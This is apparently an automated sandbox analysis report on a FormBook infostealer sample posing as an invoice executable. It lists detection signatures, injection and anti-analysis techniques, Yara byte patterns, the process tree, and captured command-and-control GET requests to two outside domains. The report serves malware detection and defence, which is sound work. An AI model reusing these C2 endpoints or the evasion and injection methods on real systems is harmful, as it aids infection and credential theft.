Play interactive tour

Edit tour

Analysis Report PT300975-inv.exe

Overview

General Information

Sample Name:	PT300975-inv.exe
Analysis ID:	323028
MD5:	025544a9014cf1667e8a1d4ff68da253
SHA1:	0123853e7960cdae4f3ad95945b4ec86adbb93c6
SHA256:	2858bfcb9388b05049df45459ee60bf96be0b0d75a3be34cf3c00f57ec9f4469
Tags:	exeFormbook
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

.NET source code contains very large array initializations

Hides that the sample has been downloaded from the Internet (zone.identifier)

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Uses ipconfig to lookup or modify the Windows network settings

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

PT300975-inv.exe (PID: 7124 cmdline: 'C:\Users\user\Desktop\PT300975-inv.exe' MD5: 025544A9014CF1667E8A1D4FF68DA253)

mscorsvw.exe (PID: 5844 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe MD5: 38368FC9F84C7A27D0C8CD8E1543F172)

explorer.exe (PID: 3440 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

ipconfig.exe (PID: 1040 cmdline: C:\Windows\SysWOW64\ipconfig.exe MD5: B0C7423D02A007461C850CD0DFE09318)

cmd.exe (PID: 6064 cmdline: /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x995a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9bd4:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x37018:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x37292:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x63638:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x638b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156f7:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x42db5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x6f3d5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151e3:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x428a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x6eec1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157f9:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x42eb7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x6f4d7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x15971:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x4302f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x6f64f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa5ec:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x37caa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x642ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1847b:$sqlite3step: 68 34 1C 7B E1 0x1858e:$sqlite3step: 68 34 1C 7B E1 0x45b39:$sqlite3step: 68 34 1C 7B E1 0x45c4c:$sqlite3step: 68 34 1C 7B E1 0x72159:$sqlite3step: 68 34 1C 7B E1 0x7226c:$sqlite3step: 68 34 1C 7B E1 0x184aa:$sqlite3text: 68 38 2A 90 C5 0x185cf:$sqlite3text: 68 38 2A 90 C5 0x45b68:$sqlite3text: 68 38 2A 90 C5 0x45c8d:$sqlite3text: 68 38 2A 90 C5 0x72188:$sqlite3text: 68 38 2A 90 C5 0x722ad:$sqlite3text: 68 38 2A 90 C5 0x184bd:$sqlite3blob: 68 53 D8 7F 8C 0x185e5:$sqlite3blob: 68 53 D8 7F 8C 0x45b7b:$sqlite3blob: 68 53 D8 7F 8C 0x45ca3:$sqlite3blob: 68 53 D8 7F 8C 0x7219b:$sqlite3blob: 68 53 D8 7F 8C 0x722c3:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x37e2a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x380a4:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x6550a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x65784:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x92bda:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x92e54:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x43bc7:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x712a7:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x9e977:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x436b3:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x70d93:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x9e463:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x43cc9:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x713a9:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x9ea79:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x43e41:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x71521:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x9ebf1:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x38abc:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x6619c:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x9386c:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x4694b:$sqlite3step: 68 34 1C 7B E1 0x46a5e:$sqlite3step: 68 34 1C 7B E1 0x7402b:$sqlite3step: 68 34 1C 7B E1 0x7413e:$sqlite3step: 68 34 1C 7B E1 0xa16fb:$sqlite3step: 68 34 1C 7B E1 0xa180e:$sqlite3step: 68 34 1C 7B E1 0x4697a:$sqlite3text: 68 38 2A 90 C5 0x46a9f:$sqlite3text: 68 38 2A 90 C5 0x7405a:$sqlite3text: 68 38 2A 90 C5 0x7417f:$sqlite3text: 68 38 2A 90 C5 0xa172a:$sqlite3text: 68 38 2A 90 C5 0xa184f:$sqlite3text: 68 38 2A 90 C5 0x4698d:$sqlite3blob: 68 53 D8 7F 8C 0x46ab5:$sqlite3blob: 68 53 D8 7F 8C 0x7406d:$sqlite3blob: 68 53 D8 7F 8C 0x74195:$sqlite3blob: 68 53 D8 7F 8C 0xa173d:$sqlite3blob: 68 53 D8 7F 8C 0xa1865:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.mscorsvw.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.mscorsvw.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.mscorsvw.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
2.2.mscorsvw.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.mscorsvw.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.mscorsvw.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17609:$sqlite3step: 68 34 1C 7B E1 0x1771c:$sqlite3step: 68 34 1C 7B E1 0x17638:$sqlite3text: 68 38 2A 90 C5 0x1775d:$sqlite3text: 68 38 2A 90 C5 0x1764b:$sqlite3blob: 68 53 D8 7F 8C 0x17773:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: PT300975-inv.exe

ReversingLabs: Detection: 21%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.mscorsvw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.mscorsvw.exe.400000.0.unpack, type: UNPACKEDPE

Source: 2.2.mscorsvw.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_02DEE404
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then push dword ptr [ebp-20h]	0_2_02DEEEB0
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_02DEEEB0
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then push dword ptr [ebp-24h]	0_2_02DEF1D0
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_02DEF1D0
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_02DEE9CC
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then push dword ptr [ebp-20h]	0_2_02DEEEA4
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_02DEEEA4
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then xor edx, edx	0_2_02DEF0FC
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then push dword ptr [ebp-24h]	0_2_02DEF1C9
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 7FFFFFFFh	0_2_02DEF1C9
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_02DE91F1
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then xor edx, edx	0_2_02DEF108
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then mov ecx, dword ptr [0401E69Ch]	0_2_02DE7EA0
Source: C:\Users\user\Desktop\PT300975-inv.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_02DE7EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 4x nop then pop edi	2_2_00416BF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 4x nop then pop edi	2_2_00416C07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 4x nop then pop edi	2_2_00416C27
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 4x nop then pop edi	2_2_00416C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 4x nop then pop edi	2_2_00417D68
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4x nop then pop edi	4_2_009A6BF3
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4x nop then pop edi	4_2_009A6C07
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4x nop then pop edi	4_2_009A6C3F
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4x nop then pop edi	4_2_009A6C27
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4x nop then pop edi	4_2_009A7D68

Source: global traffic	HTTP traffic detected: GET /jqc/?JfEtEZgp=AQxPeURRQ9kC4DgOk8VME5njQ8dFSmWtzYEqQ7tz67PuOtzOYn8gv4wq3HEWg5IvV5fpD9rFbA==&ojq0s=RzulsD HTTP/1.1Host: www.solidconstruct.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /jqc/?JfEtEZgp=cE9UUOc3pLPT0LAdHSIP3evlMF3IBhbdmq5wG0CQLEBsctkiCkQzhS7S4EgmhhRecsIvRlsotA==&ojq0s=RzulsD HTTP/1.1Host: www.asacal.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	ASN Name: XIAOZHIYUN1-AS-APICIDCNETWORKUS XIAOZHIYUN1-AS-APICIDCNETWORKUS
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS

Source: global traffic	HTTP traffic detected: GET /jqc/?JfEtEZgp=AQxPeURRQ9kC4DgOk8VME5njQ8dFSmWtzYEqQ7tz67PuOtzOYn8gv4wq3HEWg5IvV5fpD9rFbA==&ojq0s=RzulsD HTTP/1.1Host: www.solidconstruct.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /jqc/?JfEtEZgp=cE9UUOc3pLPT0LAdHSIP3evlMF3IBhbdmq5wG0CQLEBsctkiCkQzhS7S4EgmhhRecsIvRlsotA==&ojq0s=RzulsD HTTP/1.1Host: www.asacal.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: g.msn.com

Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000003.00000002.604467265.000000000095C000.00000004.00000020.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
